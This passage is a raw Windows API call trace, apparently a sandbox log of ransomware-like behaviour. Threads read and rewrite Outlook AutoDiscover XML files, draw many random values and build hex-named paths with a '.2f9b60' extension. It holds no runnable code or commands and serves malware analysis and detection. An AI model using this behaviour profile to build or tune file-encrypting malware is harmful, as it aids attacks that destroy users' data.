Flags=0x0, BaseAddress=0x42dd9930) returned 1 [0233.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dc6ce0) returned 1 [0233.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 [0233.294] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0233.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fcf0 [0233.295] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.295] WriteFile (in: hFile=0x25ac, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2bdaf6d0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2bdaf6d0*=0x10e, lpOverlapped=0x0) returned 1 [0235.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4010 [0235.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4010) returned 1 [0235.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cdb4010 [0235.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4040 [0235.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fd0 [0235.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1fd0) returned 1 [0235.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce61560 [0235.449] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="09") returned 2 [0235.449] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.449] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.449] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" | out: _Dest="bf") returned 2 [0235.449] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.449] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="6c") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="76") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="18") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="13") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="13") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="82") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="73") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="30") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="81") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="82") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="17") returned 2 [0235.450] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.450] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="58") returned 2 [0235.450] RtlInitAnsiString (in: DestinationString=0x2bdaf748, SourceString="09eeb8bfc56c762d18bbb42e1313bc8273cd30819e8217f33ccb4e58" | out: DestinationString="09eeb8bfc56c762d18bbb42e1313bc8273cd30819e8217f33ccb4e58") [0235.450] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bdaf718, SourceString="09eeb8bfc56c762d18bbb42e1313bc8273cd30819e8217f33ccb4e58", AllocateDestinationString=1 | out: DestinationString="09eeb8bfc56c762d18bbb42e1313bc8273cd30819e8217f33ccb4e58") returned 0x0 [0235.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503e90 [0235.451] wcscat (in: _Dest=0x106c40, _Source="09eeb8bfc56c76" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\09eeb8bfc56c76") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\09eeb8bfc56c76" [0235.451] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\09eeb8bfc56c76.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\09eeb8bfc56c76.2f9b60" [0235.451] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\09eeb8bfc56c76.2f9b60", NtPathName=0x2bdaf6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\09eeb8bfc56c76.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119650 Thread: id = 3817 os_tid = 0xdc0 [0227.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml")) returned 0x20 [0229.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML", dwFileAttributes=0x20) returned 1 [0229.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c8 [0229.300] GetFileSizeEx (in: hFile=0x9c8, lpFileSize=0x2202f860 | out: lpFileSize=0x2202f860*=806) returned 1 [0229.300] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.300] ReadFile (in: hFile=0x9c8, lpBuffer=0x2202f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2202f828, lpOverlapped=0x0 | out: lpBuffer=0x2202f7e0*, lpNumberOfBytesRead=0x2202f828*=0x4, lpOverlapped=0x0) returned 1 [0229.303] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3fb0 [0229.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4070 [0229.305] NtQuerySystemTime (in: CurrentTime=0x2202f720 | out: CurrentTime=0x2202f720*=132462178333054000) returned 0x0 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0xfc40d46 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x34b299f1 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x6fd3bbea [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x57a39d97 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x3906a7e7 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x1fa4e01a [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x1bee621a [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x6457414b [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x47a52cc6 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x6dcfada4 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x1eb26e0a [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x67bd3052 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x65dc17e3 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x7831bee5 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x7e5c2034 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x2ae0eeeb [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x1fd5e446 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x505f0ca3 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x25d10594 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x4db25257 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x45356e34 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x179f7e7b [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x2edd404a [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x2243c954 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0xcfbd549 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x7e52f96a [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x2410f911 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x3fa797fb [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x3719ef47 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x7ae2ecd7 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x5c0b5894 [0229.305] RtlRandomEx (in: Seed=0x2202f710 | out: Seed=0x2202f710) returned 0x5c1ff8bc [0229.314] ReadFile (in: hFile=0x9c8, lpBuffer=0x42dbb8b0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2202f710, lpOverlapped=0x0 | out: lpBuffer=0x42dbb8b0*, lpNumberOfBytesRead=0x2202f710*=0x326, lpOverlapped=0x0) returned 1 [0229.314] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.314] WriteFile (in: hFile=0x9c8, lpBuffer=0x42dca8f0*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2202f714, lpOverlapped=0x0 | out: lpBuffer=0x42dca8f0*, lpNumberOfBytesWritten=0x2202f714*=0x326, lpOverlapped=0x0) returned 1 [0233.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260770 [0233.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621b0 [0233.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621b0) returned 1 [0233.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dca8f0) returned 1 [0233.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dbb8b0) returned 1 [0233.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0233.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0233.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202621b0 [0233.302] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.302] WriteFile (in: hFile=0x9c8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2202f830, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2202f830*=0x10a, lpOverlapped=0x0) returned 1 [0235.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4130 [0235.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4130) returned 1 [0235.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4130 [0235.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4160 [0235.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4160) returned 1 [0235.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fcf0 [0235.457] sprintf (in: _Dest=0x1cd9fcf0, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcf2, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcf4, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcf6, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcf8, _Format="%c%c" | out: _Dest="2e") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcfa, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcfc, _Format="%c%c" | out: _Dest="23") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fcfe, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd00, _Format="%c%c" | out: _Dest="29") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd02, _Format="%c%c" | out: _Dest="f1") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd04, _Format="%c%c" | out: _Dest="44") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd06, _Format="%c%c" | out: _Dest="bc") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd08, _Format="%c%c" | out: _Dest="22") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd0a, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd0c, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd0e, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd10, _Format="%c%c" | out: _Dest="00") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd12, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd14, _Format="%c%c" | out: _Dest="62") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd16, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd18, _Format="%c%c" | out: _Dest="af") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd1a, _Format="%c%c" | out: _Dest="df") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd1c, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.457] sprintf (in: _Dest=0x1cd9fd1e, _Format="%c%c" | out: _Dest="ec") returned 2 [0235.457] RtlInitAnsiString (in: DestinationString=0x2202f8a8, SourceString="c32f2fbb2e1e23b529f144bc22cab01a00a5622cafdfa2ec" | out: DestinationString="c32f2fbb2e1e23b529f144bc22cab01a00a5622cafdfa2ec") [0235.457] RtlAnsiStringToUnicodeString (in: DestinationString=0x2202f878, SourceString="c32f2fbb2e1e23b529f144bc22cab01a00a5622cafdfa2ec", AllocateDestinationString=1 | out: DestinationString="c32f2fbb2e1e23b529f144bc22cab01a00a5622cafdfa2ec") returned 0x0 [0235.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f210 [0235.458] wcscat (in: _Dest=0x431f5dd0, _Source="c32f2fbb2e1e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\c32f2fbb2e1e") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\c32f2fbb2e1e" [0235.458] wcscat (in: _Dest=0x431f5dd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\c32f2fbb2e1e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\c32f2fbb2e1e.2f9b60" [0235.458] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\c32f2fbb2e1e.2f9b60", NtPathName=0x2202f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\c32f2fbb2e1e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x119990 Thread: id = 3818 os_tid = 0x2148 [0227.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml")) returned 0x20 [0229.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML", dwFileAttributes=0x20) returned 1 [0229.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a64 [0229.274] GetFileSizeEx (in: hFile=0x1a64, lpFileSize=0x2972faa0 | out: lpFileSize=0x2972faa0*=804) returned 1 [0229.274] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.274] ReadFile (in: hFile=0x1a64, lpBuffer=0x2972fa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2972fa68, lpOverlapped=0x0 | out: lpBuffer=0x2972fa20*, lpNumberOfBytesRead=0x2972fa68*=0x4, lpOverlapped=0x0) returned 1 [0230.467] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0230.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0230.467] NtQuerySystemTime (in: CurrentTime=0x2972f960 | out: CurrentTime=0x2972f960*=132462178344598000) returned 0x0 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x1a367075 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x27ea427e [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x303e2af8 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x3ad15f54 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x47c2bd9 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x18aae86d [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x260164da [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0xaf45e3f [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x10e81c71 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x4388bc70 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x755b4df8 [0230.467] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x46ad5747 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x55216ccb [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x284639d3 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x47226f71 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x4c140625 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x318752e2 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x57d3af99 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x3f948443 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x5a32f7af [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x8fd282c [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x65c4032a [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x77f31ad9 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x3c2ed242 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x74efdd59 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x3ad47d0a [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x18a7e3df [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x4fadffcf [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x7ae1757f [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x53e6e86a [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x5943279 [0230.468] RtlRandomEx (in: Seed=0x2972f950 | out: Seed=0x2972f950) returned 0x790e8266 [0230.476] ReadFile (in: hFile=0x1a64, lpBuffer=0x20442eb0, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x2972f950, lpOverlapped=0x0 | out: lpBuffer=0x20442eb0*, lpNumberOfBytesRead=0x2972f950*=0x324, lpOverlapped=0x0) returned 1 [0230.476] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.477] WriteFile (in: hFile=0x1a64, lpBuffer=0x423e2de0*, nNumberOfBytesToWrite=0x324, lpNumberOfBytesWritten=0x2972f954, lpOverlapped=0x0 | out: lpBuffer=0x423e2de0*, lpNumberOfBytesWritten=0x2972f954*=0x324, lpOverlapped=0x0) returned 1 [0233.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0233.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0233.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263500) returned 1 [0233.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423e2de0) returned 1 [0233.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20442eb0) returned 1 [0233.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e490) returned 1 [0233.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0233.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263500 [0233.738] SetFilePointerEx (in: hFile=0x1a64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.738] WriteFile (in: hFile=0x1a64, lpBuffer=0x42c15cb0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2972fa70, lpOverlapped=0x0 | out: lpBuffer=0x42c15cb0*, lpNumberOfBytesWritten=0x2972fa70*=0x10a, lpOverlapped=0x0) returned 1 [0235.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97b70 [0235.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0235.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0235.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0235.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e70 [0235.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e70) returned 1 [0235.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b70) returned 1 [0235.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad420 [0235.773] sprintf (in: _Dest=0x431ad420, _Format="%c%c" | out: _Dest="48") returned 2 [0235.773] sprintf (in: _Dest=0x431ad422, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.773] sprintf (in: _Dest=0x431ad424, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.773] sprintf (in: _Dest=0x431ad426, _Format="%c%c" | out: _Dest="ae") returned 2 [0235.773] sprintf (in: _Dest=0x431ad428, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.773] sprintf (in: _Dest=0x431ad42a, _Format="%c%c" | out: _Dest="ed") returned 2 [0235.773] sprintf (in: _Dest=0x431ad42c, _Format="%c%c" | out: _Dest="3e") returned 2 [0235.773] sprintf (in: 